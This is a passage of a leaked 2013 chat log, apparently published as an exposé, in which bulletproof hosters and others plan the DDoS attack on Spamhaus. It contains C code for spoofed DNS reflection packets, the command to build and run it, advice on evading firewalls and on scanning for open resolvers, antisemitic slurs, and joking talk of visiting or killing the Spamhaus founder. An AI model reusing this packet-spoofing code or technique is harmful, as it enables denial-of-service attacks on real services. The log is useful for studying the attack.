==================================================================== THE CHAT LOG MEMBERS ------------------------------------------------------------ Aleksey Frolov : vainet[dot]biz, vainet[dot].ru, Russian host. ------------------------------------------------------------ Alex Optik : Russian 'BP host'. AKA NEO ------------------------------------------------------------ Andrei Stanchevici : secured[dot]md Moldova ------------------------------------------------------------ Cali : Vitalii Boiko AKA Vitaliyi Boyiko AKA Cali Yhzar, alleged by Spamhaus to be dedicated crime hosters urdn[dot]com.ua AKA Xentime[dot]com AKA kurupt[dot]ru ------------------------------------------------------------ Darwick : Zemancsik Zsolt, 23net[dot]hu, Hungarian host. ------------------------------------------------------------ eDataKing : Andrew Jacob Stephens, Ohio/Florida based spamware seller formerly listed on Spamhaus's Register of Known Spam Operations (ROKSO). Was main social media mouthpiece of Stophaus (e.g. see @stophaus). Andrew threatens to sue everyone for libel, and is likely to show up in the comments below and do the same here. ------------------------------------------------------------ Erik Bais : A2B Internet, Netherlands ------------------------------------------------------------ Goo : Peter van Gorkum AKA Gooweb.nl, alleged by Spamhaus to be a botnet supplier in the Netherlands. ------------------------------------------------------------ Hephaistos : AKA @AnonOps on Twitter ------------------------------------------------------------ HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Sven Olaf Kamphuis AKA Cyberbunker AKA CB3ROB ------------------------------------------------------------ Karlin König : Suavemente/SplitInfinity, San Diego based host. ------------------------------------------------------------ marceledler : German hoster that Spamhaus says has a history of hosting spammers, AKA Optimate-Server[dot]de ------------------------------------------------------------ Mark - Evgeny Pazderin : Russian, alleged by Spamhaus to be hoster of webinjects used for man-in-the-middle attacks (MITM) against online banking sessions. ------------------------------------------------------------ Mastermind of Possibilities : Norman "Chris" Jester AKA Suavemente/SplitInfinity, alleged by Spamhaus to be San Diego based spam host. ------------------------------------------------------------ Narko :/a>Sean Nolan McDonough, UK-based teenager, trigger man in the attack. Allegedly hired by Yuri to perform the DDoS. Later pleaded guilty to coordinating the attack in 2013. ------------------------------------------------------------ NM : Nikolay Metlyuk, according to Spamhaus a Russian botnet provider ------------------------------------------------------------ simomchen : Simon Chen AKA idear4business counterfeit Chinese products, formerly listed on Spamhaus ROKSO. ------------------------------------------------------------ Spamahost : As its name suggests, a Russian host specializing in spam, spam and spam. ------------------------------------------------------------ twisted : Admin of Cyberbunker[dot]com ------------------------------------------------------------ valeralelin : Valerii Lolin, infiumhost[dot]com, Ukraine ------------------------------------------------------------ Valeriy Uhov : Per Spamhaus, a Russian 'bulletproof hoster'. ------------------------------------------------------------ WebExxpurts : Deepak Mehta, alleged cybercrime host specializing in hosting botnet C&Cs. AKA Turbovps (). ------------------------------------------------------------ wmsecurity : off-sho[dot]re 'Bulletproof' hoster. Lithuania. AKA "Antitheist". Profiled in this story. ------------------------------------------------------------ Xennt : H.J. Xennt, owner of Cyberbunker. ------------------------------------------------------------ Yuri : Yuri Bogdanov, owner of 2x4[dot]ru, longtime spam friendly Russian host, formerly part of Russian Business Network (RBN). Allegedly hired Narko to launch DDoS attack against Spamhaus. ============================================================ [START] [17.03.2013 19:34:41] Метлюк Николай: Marcel is here? [17.03.2013 19:34:57] Alex Optik: seems yes but not answering now [17.03.2013 19:35:05] Alex Optik: seems because of weekends [17.03.2013 19:35:12] webexxpurts: yea its weekend [17.03.2013 19:35:21] webexxpurts: can we lease servers from them? [17.03.2013 19:35:29] Alex Optik: Marcel is http://www.optimate-server.de [17.03.2013 19:35:34] Метлюк Николай: I think yes [17.03.2013 19:35:53] Alex Optik: i suppose those peoples can be usefull for us [17.03.2013 19:35:56] Метлюк Николай: He has partner/friend Jens [17.03.2013 19:36:01] Alex Optik: they hate spamhaus too [17.03.2013 19:38:00] Метлюк Николай: I suppose) [17.03.2013 19:38:09] Метлюк Николай: They were listed by /15 [17.03.2013 19:38:41] Метлюк Николай: I saw their listings few months ago [17.03.2013 19:39:25] webexxpurts: Nice. [17.03.2013 19:39:40] webexxpurts: lets see whats their take on it [17.03.2013 19:40:23] Метлюк Николай: Noah, did you work with them? [17.03.2013 19:42:15] Alex Optik: i was working with all of them long time about bulletproof servers! [17.03.2013 19:51:31] eDataKing: watch the show: http://www.webhostingtalk.com/showthread.php?t=1247982 [17.03.2013 19:52:02] -= Darwick =-: hell yeah! :) [17.03.2013 19:52:09] -= Darwick =-: hit them hard :) [17.03.2013 19:54:07] -= Darwick =-: is that a ddos attack? [17.03.2013 19:54:56] eDataKing: but let's forget what it is and focus on it's consequence lol ;) [17.03.2013 19:55:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 45 10 3A 00 D4 31 00 00 40 11 C3 16 C0 A8 01 04 C0 A8 01 64 00 35 00 35 00 26 00 00 AA AA 01 00 00 01 00 00 00 00 00 00 03 73 70 61 6D 68 61 75 73 03 6F 72 67 00 00 02 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [17.03.2013 19:56:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: why doesn't tcp dump show this as a valid dns NS request for spamhaus.org? [17.03.2013 19:56:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i mean i put the 0x3's around spamhaus and a 0x0 behind org [17.03.2013 19:56:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: type 2 class 1 [17.03.2013 19:56:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: checksums for udp are optional so thats not the problem [17.03.2013 19:56:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but tcpdump just shows it as [|domain\ [17.03.2013 19:57:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: rather than bla bla spamhaus.org. bla [17.03.2013 19:57:13] narko: what query are you running [17.03.2013 19:57:17] narko: -q=NS? [17.03.2013 19:57:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sourcein.sin_family=AF_INET; destin.sin_family=AF_INET; sourcein.sin_port=htons(53); destin.sin_port=htons(53); sourcein.sin_addr.s_addr=childaddr.s_addr; destin.sin_addr.s_addr=ips[ret].s_addr; ip->iph_ver=0x45; ip->iph_tos=16; ip->iph_len=sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsquery); ip->iph_ident=htons(54321); ip->iph_ttl=64; ip->iph_protocol=17; ip->iph_sourceip=childaddr.s_addr; ip->iph_destip=ips[ret].s_addr; udp->udph_srcport=htons(53); udp->udph_destport=htons(53); udp->udph_len=htons(sizeof(struct udpheader)+sizeof(struct dnsquery)); ip->iph_chksum=csum((unsigned short *)packet, sizeof(struct ipheader) + sizeof(struct udpheader)); dns->transid=htons(0xaaaa); dns->flags=htons(0x0100); dns->qcount=htons(1); dns->acount=0; dns->authcount=0; dns->addreccount=0; dns->qstart=3; dns->qname[0]='s'; dns->qname[1]='p'; dns->qname[2]='a'; dns->qname[3]='m'; dns->qname[4]='h'; dns->qname[5]='a'; dns->qname[6]='u'; dns->qname[7]='s'; dns->qend=3; dns->tld[0]='o'; dns->tld[1]='r'; dns->tld[2]='g'; dns->trail=0; dns->qtype=htons(2); dns->qclass=htons(1); int x;for (x=0;x<80;x++) {printf("%02X ",(unsigned char )packet[x]);};printf("\n"); sleep(1); sendto(sd,packet,ip->iph_len,0,(struct sockaddr *)&destin,sizeof(sourcein)); [17.03.2013 19:58:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: from what i can conduct of the crap on the internet regardng dns... 03 and 06 are field seperators for the part for which the server is authorative [17.03.2013 19:58:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and 0 is the 'end' aka root. [17.03.2013 19:58:43] narko: well heres the query [17.03.2013 19:58:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its right there :P [17.03.2013 19:58:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dns->qname bla bla [17.03.2013 19:59:08] narko: \x00\x02\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08\x73\x70\x61\x6D\x68\x61\x75\x73\x03\x6F\x72\x67\x00\x00\x02\x00\x01 [17.03.2013 19:59:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dns->qstart=3; dns->qname[0]='s'; dns->qname[1]='p'; dns->qname[2]='a'; dns->qname[3]='m'; dns->qname[4]='h'; dns->qname[5]='a'; dns->qname[6]='u'; dns->qname[7]='s'; dns->qend=3; dns->tld[0]='o'; dns->tld[1]='r'; dns->tld[2]='g'; dns->trail=0; [17.03.2013 19:59:33] Mastermind of Possibilities: Hey is haus DNS servers recursive? Can you find all subdomains of Spamhaus domains? [17.03.2013 19:59:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they're authorative for -their own domain- [17.03.2013 19:59:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats all we need to make them spam each other the big NS spamhaus.org answer :P [17.03.2013 20:00:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at least the main ones are authorative for spamcrap.org [17.03.2013 20:02:55] marceledler: hey [17.03.2013 20:02:58] marceledler: i am here now [17.03.2013 20:03:14] marceledler: let me read that first what you speaking about :) [17.03.2013 20:09:57] WebExxpurts: google has picked the posthttps://www.google.com/search?q=spamhaus+down48hours&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a#hl=en&client=firefox-a&hs=XQJ&rls=org.mozilla:en-US:official&q=spamhaus+down+48+hours&spell=1&sa=X&ei=2gZGUZiXHLTB4APOhIDYBw&ved=0CC8QBSgA&bav=on.2,or.r_qf.&bvm=bv.43828540,d.dmg&fp=aaeba9b7f058e829&biw=1364&bih=597 [17.03.2013 20:10:10] narko: Our systems have detected unusual traffic from your computer network. This page checks to see if it's really you sending the requests, and not a robot [17.03.2013 20:10:13] narko: (angry) [17.03.2013 20:10:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 20:10:26] narko: it's broken [17.03.2013 20:10:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yeah they did that with our intel gathering box all the time [17.03.2013 20:10:34] narko: I can enter the captcha 200 times and google won't allow me to search [17.03.2013 20:10:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: what the hell do they have rss feeds for if you can't index them haha [17.03.2013 20:10:51] narko: i just do normal searches and now i got banned [17.03.2013 20:11:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in the end we just kicked the requests to google over tor :P [17.03.2013 20:11:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: guess what google, an rss client -is a robot- :P [17.03.2013 20:11:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: per definition [17.03.2013 20:12:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it can't click on any fucking link [17.03.2013 20:12:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: don't like it? then don't advertise rss feeds [17.03.2013 20:12:27] narko: lol [17.03.2013 20:15:35] narko: use xrumer to write in 10000 places that spamhaus is down and unreliable :P [17.03.2013 20:22:16] WebExxpurts: Listing reason will be : blackhat seo forum posting .... :D [17.03.2013 20:25:13] Alex Optik: but some time before they were not listing the SEO forum posting... only mails... [17.03.2013 20:25:40] narko: now they list everything [17.03.2013 20:25:49] Alex Optik: now yes [17.03.2013 20:25:55] narko: pharma affiliate sites that are not even spamvertised?listed [17.03.2013 20:25:56] Alex Optik: even botnet controllers [17.03.2013 20:26:00] WebExxpurts: now they are down also.. lol [17.03.2013 20:26:06] Alex Optik: which is not even connected to spam [17.03.2013 20:26:33] Yuri: spamhaus take some information from "stopforumspam" website and create SBLs on it. no site, no sbls... [17.03.2013 20:27:57] Mastermind of Possibilities: Andrew why are you posting in nanae? Stop man lol [17.03.2013 20:28:02] Mastermind of Possibilities: Geeze [17.03.2013 20:28:07] Mastermind of Possibilities: Lol [17.03.2013 20:28:24] Mastermind of Possibilities: You can't resist the urge? Greg [17.03.2013 20:28:51] Mastermind of Possibilities: Greg is stupid iPhone spellcheck replacement for hehe [17.03.2013 20:29:08] Mastermind of Possibilities: Lame I need to turn that shit off [17.03.2013 20:30:41] WebExxpurts: yes do not post on nanae.. they thinkg andrew is behind it [17.03.2013 20:31:15] Alex Optik: by the way this is one of cases with spamhaus which is "going too far" cause botnet or malware is not connected anyhow with spamhaus!this means they are really trying to sabotage anything what is simply connected with illegal...or with mask of illegal!this because they are really putting their noses everywhere when even their participation is not even needed! [17.03.2013 20:32:50] marceledler: ok guys. yes, i sold some ip space and servers for you guys in past. and had some big problems with spamhaus, but all of them is solved now. i dont like spamhaus, yes, but with german law i cannot help you and will quit this channel here. i am at skype with my real name and you know my website. when anyone is from fbi or police i will get big trouble. so i hope you understand me, that i cannot work with you on that project :) [17.03.2013 20:35:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 18:35:22.002877 IP 192.168.1.100.53 > 192.168.1.1.53: 43690 8/0/0 NS fi503-nij.surfnet.nl., NS ns20.ja.net., NS ns1.spamhaus.rethemdns.net., NSns2.spamhaus.rethemdns.net., NS ns4.spamhaus.rethemdns.net., NSns3.spamhaus.org., NS fi503-hfj.surfnet.nl., NS ns3.spamhaus.rethemdns.net. (222) 18:35:22.075915 IP 192.168.1.1.53 > 192.168.1.100.53: 43690 8/0/0 NSns1.spamhaus.rethemdns.net., NS ns3.spamhaus.org., NS fi503-nij.surfnet.nl., NS ns3.spamhaus.rethemdns.net., NS ns20.ja.net., NS fi503-hfj.surfnet.nl., NSns4.spamhaus.rethemdns.net., NS ns2.spamhaus.rethemdns.net. (222) 18:35:22.106130 ARP, Request who-has 192.168.1.151 tell 192.168.1.3, length 46 18:35:23.000466 ARP, Request who-has 192.168.1.2 tell 192.168.1.100, length 28 18:35:23.000601 IP 192.168.1.100.53 > 192.168.1.3.53: 43690 8/0/0 NSns4.spamhaus.rethemdns.net., NS fi503-nij.surfnet.nl., NSns2.spamhaus.rethemdns.net., NS fi503-hfj.surfnet.nl., NS ns3.spamhaus.org., NS ns1.spamhaus.rethemdns.net., NS ns3.spamhaus.rethemdns.net., NSns20.ja.net. (222) 18:35:23.002509 IP 192.168.1.100.53 > 192.168.1.4.53: 43690 8/0/0 NSns20.ja.net., NS ns2.spamhaus.rethemdns.net., NS ns1.spamhaus.rethemdns.net., NS ns3.spamhaus.org., NS fi503-nij.surfnet.nl., NSns4.spamhaus.rethemdns.net., NS fi503-hfj.surfnet.nl., NSns3.spamhaus.rethemdns.net. (222) [17.03.2013 20:35:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ok it works. [17.03.2013 20:36:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: \o/ [17.03.2013 20:36:11] narko: ]:) [17.03.2013 20:36:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh need to randomize the transaction id in dns and the ip packet sequence no [17.03.2013 20:36:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: one sec :P [17.03.2013 20:36:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its pretty easy to firewall for them if they're all 0xAAAA [17.03.2013 20:36:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 20:36:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and add/substract a bit to the ttl a bit kinda [17.03.2013 20:37:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or else they use that again [17.03.2013 20:37:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: got linux boxes as well? or just wintendo [17.03.2013 20:37:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with unfiltered source [17.03.2013 20:38:09] narko: windows [17.03.2013 20:41:42] *** marceledler quit *** [17.03.2013 21:12:39] Метлюк Николай: Guys, who has cheap transit in NIKHEF? [17.03.2013 21:12:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he.net, cogent [17.03.2013 21:13:14] Метлюк Николай: they dont give me good prices=((( may be because im russian=) [17.03.2013 21:20:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 500 euros per 1000base is pretty good. [17.03.2013 21:20:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he kinda charges the same for everyone at every amsterdam pop afaik [17.03.2013 21:20:36] Метлюк Николай: who? cogent? [17.03.2013 21:20:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nohe.net [17.03.2013 21:20:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but you getting them sbl'ed is a problem to them :P terms of use.. [17.03.2013 21:21:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sooo.. time to kill spamhaus lol [17.03.2013 21:21:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: speaking about which... the code works but i can't get them down from our network. :P [17.03.2013 21:21:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: FOUND:ns1.spamhaus.rethemdns.net. FOUND: ns3.spamhaus.org. FOUND: fi503-nij.surfnet.nl. FOUND: ns3.spamhaus.rethemdns.net. FOUND: ns20.ja.net. FOUND: fi503-hfj.surfnet.nl. FOUND: ns4.spamhaus.rethemdns.net. FOUND: ns2.spamhaus.rethemdns.net. ns1.spamhaus.rethemdns.net. 154.35.136.98 www.spamhaus.org. 300 IN A 154.35.160.11 ns3.spamhaus.org. 192.150.94.200 www.spamhaus.org. 300 IN A 154.35.160.11 fi503-nij.surfnet.nl. 195.169.124.73 www.spamhaus.org. 300 IN A 154.35.160.11 ns3.spamhaus.rethemdns.net. 154.35.136.98 www.spamhaus.org. 300 IN A 154.35.160.11 ns20.ja.net. 194.82.174.6 www.spamhaus.org. 300 IN A 154.35.160.11 fi503-hfj.surfnet.nl. 145.97.20.167 www.spamhaus.org. 300 IN A 154.35.160.11 ns4.spamhaus.rethemdns.net. 154.35.136.99 www.spamhaus.org. 300 IN A 154.35.160.11 ns2.spamhaus.rethemdns.net. 154.35.136.99 www.spamhaus.org. 300 IN A 154.35.160.11 [17.03.2013 21:21:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: still all up [17.03.2013 21:22:38] Метлюк Николай: no, we are good company, we dont need bullet-proof uplink=) we need only cheap transit=) [17.03.2013 21:22:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol i think i killed the shitty server hahaha [17.03.2013 21:22:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ours that is [17.03.2013 21:22:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [17.03.2013 21:23:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: running forker 20 times didn't go well with the cpu i guess [17.03.2013 21:23:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [17.03.2013 21:23:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: soooo.... who has a bunch of linux boxes... [17.03.2013 21:25:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in there there is forker.c and iplist.txt ... it basically takes the ips in iplist.txt (the spamhaus main nameservers) [17.03.2013 21:26:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: spoofs those as the source [17.03.2013 21:26:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sends NS spamhaus.org to all other ips in the list [17.03.2013 21:26:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: basically it forks 1 process for each source. [17.03.2013 21:26:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but just run it multiple times until the cpu maxes out [17.03.2013 21:27:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gcc -o forker forker.c ; ./forker btw :P [17.03.2013 21:31:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko: no idea how to do sock_raw on wintendo... [17.03.2013 21:31:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: could easily port it for dos packet drivers on int 60h but windows doesn't do that either i guess [17.03.2013 21:32:03] Yuri: where to get DNS servers lists? [17.03.2013 21:32:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh those come out of ./findsh.pl [17.03.2013 21:32:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the main ones that is [17.03.2013 21:32:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: or do you just want dns servers in general? [17.03.2013 21:32:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with recurse on/ [17.03.2013 21:33:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: in which case: just scan the whole god damn ipv4 internet...s end them all a query and wait for the answers :P [17.03.2013 21:33:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its only 4 billion packets anyway [17.03.2013 21:33:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: half an hour max [17.03.2013 21:34:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: once you're used to ipv6 suddenly the ipv4 internet looks like a small joke for kids haha [17.03.2013 21:35:10] narko: .arj [17.03.2013 21:35:13] narko: its 1993 again [17.03.2013 21:35:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 'oh lets just scan the whole god damn thing i have more ips for my coffee machine' [17.03.2013 21:35:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yheah i wanted to encrypt it with it but could not get that to work lol [17.03.2013 21:36:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as it had to traverse serveral systems not under our control to get to the backdoor of our networks [17.03.2013 21:39:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: btw... did i see sven wiese's name passing by claiming that he -peers- with spamhaus? if so on what asn... and thats quite funny as the guy was dropping some very nasty clients with us about a year ago which he didn't want on his own networks appearantly [17.03.2013 21:41:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: smtp.. its 1964 again :P arj isn't -that- bad :P lol [17.03.2013 21:44:25] narko: the webhosttalk thread is being ignored [17.03.2013 21:44:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: maybe ppl are scared to go 'good riddance' :P [17.03.2013 21:44:59] WebExxpurts: SH is of no value to them [17.03.2013 21:45:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: sh is of no value to anyone, at most it gets in the way. [17.03.2013 21:46:48] narko: i still need to buy ips [17.03.2013 21:46:49] narko: :( [17.03.2013 21:47:01] WebExxpurts: for? [17.03.2013 21:47:08] narko: webhosting [17.03.2013 21:57:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: jezus fuck apple.. a 333.3MB security update? lol [17.03.2013 21:58:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i can fit 10 linux installs in there lol [17.03.2013 22:19:10] Mastermind of Possibilities: I can sell you ips [17.03.2013 22:19:12] Mastermind of Possibilities: :) [17.03.2013 22:19:17] Mastermind of Possibilities: Rokso ones lol [17.03.2013 22:19:29] Mastermind of Possibilities: I'll sell you company ASN etc lol [17.03.2013 22:19:39] narko: need clean [17.03.2013 22:22:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [17.03.2013 22:22:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Sven Olaf Kamphuis shared a link. 2 grains o' sand ago www.spamhaus.org still down, and that criminal bunch of self declared internet dictators will still remain down, until our demands are met :P over 48h already :P hi steve, your nameservers are up next... that means: you lose your e-penis of idiots resolving your shit. end of the line buddy :P should have called and paid for the damages. The Spamhaus Project www.spamhaus.org Spamhaus tracks the Internet's worst Spammers, known Spam Gangs and Spam Support Services, and works with ISPs and Law Enforcement Agencies to identify and remove persistent spammers from the Internet. Arr! · · Promote · Blabber t' yer mates [17.03.2013 22:25:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: rokso no longer exists haha [17.03.2013 22:29:51] Mastermind of Possibilities: Where is that posted ? [17.03.2013 22:30:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: my 3850 facebook friends :P [17.03.2013 22:30:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you know, stuff people actually -use-... unlike smtp and nntp [17.03.2013 22:30:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 22:30:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:facebook.com/cb3rob [17.03.2013 22:31:08] narko: i've never had a facebook or twitter [17.03.2013 22:31:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: me neither until one of my salesdroids told me to set up a few during the tpb case [17.03.2013 22:31:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 22:31:39] narko: so if i ever actually manage to register IPs people cant find information about me when they get hacked by my ranges :D :D [17.03.2013 22:32:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if people can't find you they can't do business with you either :P [17.03.2013 22:32:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats the problem with that approach [17.03.2013 22:32:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 22:33:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just, publicly, take the piss out of em :P [17.03.2013 22:33:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 22:34:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so there is no denial possible for them :P [17.03.2013 22:35:58] Alex Optik: vulnerability of everybody! [17.03.2013 22:36:17] Alex Optik: is facebooks or other fucking meeting websites [17.03.2013 22:37:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dude, we don't care... we got a basement full of guns and that sorta thing and 5 bunkers :P and even if they don't recognize the republic cyberbunker, they do recognize the netherlands :P [17.03.2013 22:37:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and there is some stuff the netherlands would rather keep secret :P [17.03.2013 22:37:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: kinda [17.03.2013 22:37:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so, as long as i don;t go to the usa or occupied palestine, they can all wipe my ass :P [17.03.2013 22:38:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and de-facto, all countries in the world except for the zionist fuckheads would rather see spamhaus silently disappear :P [17.03.2013 22:39:14] narko: selll me passport [17.03.2013 22:39:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: you get one free [17.03.2013 22:39:32] narko: can it get me into thailand? [17.03.2013 22:39:44] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if you push them hard enough... yeah guess so [17.03.2013 22:40:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and if james didn't piss off the king over there already lol [17.03.2013 22:40:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: will check haha [17.03.2013 22:40:25] narko: (highfive) [17.03.2013 22:41:24] narko: i will live in chiang mai,thailand so i can give believable and creative excuses for not working to the guy who hires me as a programmer [17.03.2013 22:41:34] narko: elephant ate my hard drive, i have malaria [17.03.2013 22:41:34] narko: etc [17.03.2013 22:41:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz [17.03.2013 22:44:05] narko: but realy i'll start to make plans soon [17.03.2013 22:44:13] narko: i want to leave this shitty city and shitty country [17.03.2013 22:44:22] narko: then i can sell bp hosting from my apartment [17.03.2013 22:44:22] narko: :D [17.03.2013 22:45:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://graphics8.nytimes.com/images/2006/10/16/business/16spam.600x358.jpg [17.03.2013 22:45:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: state of the art shit :P [17.03.2013 22:45:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh wow... a flatscreen <--- [17.03.2013 22:45:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: down there in the corner! [17.03.2013 22:45:57] narko: this is spamhaus? [17.03.2013 22:46:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep [17.03.2013 22:46:22] narko: he looks like an old jewish professor [17.03.2013 22:46:24] narko: lol [17.03.2013 22:46:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he -is- :P [17.03.2013 22:46:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 22:47:03] narko: if we have the real address i can make a visit to him if i am going to thailand [17.03.2013 22:47:07] narko: because the plane stops in london first [17.03.2013 22:47:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the guy lives on a boat in monaco [17.03.2013 22:47:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i doubt he ever visits london lol [17.03.2013 22:47:36] narko: oh i thought he was in uk [17.03.2013 22:47:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i've -never been- at our london office, lets put it that way [17.03.2013 22:47:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 22:47:44] narko: :( the plane doesnt stop at monaco [17.03.2013 22:48:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i was in monaco a couple of weeks ago... doesn't look that bad :P [17.03.2013 22:48:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if it didn't have that many steve linfords in it poluting the air [17.03.2013 22:48:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 22:48:19] narko: lol [17.03.2013 22:48:49] narko: well maybe he sattleite dish fell in the sea [17.03.2013 22:48:55] narko: that's why spamhaus is still down [17.03.2013 22:49:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: maybe he did indeed get assasinated lol [17.03.2013 22:49:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that'd be utter lulz [17.03.2013 22:49:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [17.03.2013 22:49:17] narko: (ninja) [17.03.2013 22:49:32] HRH 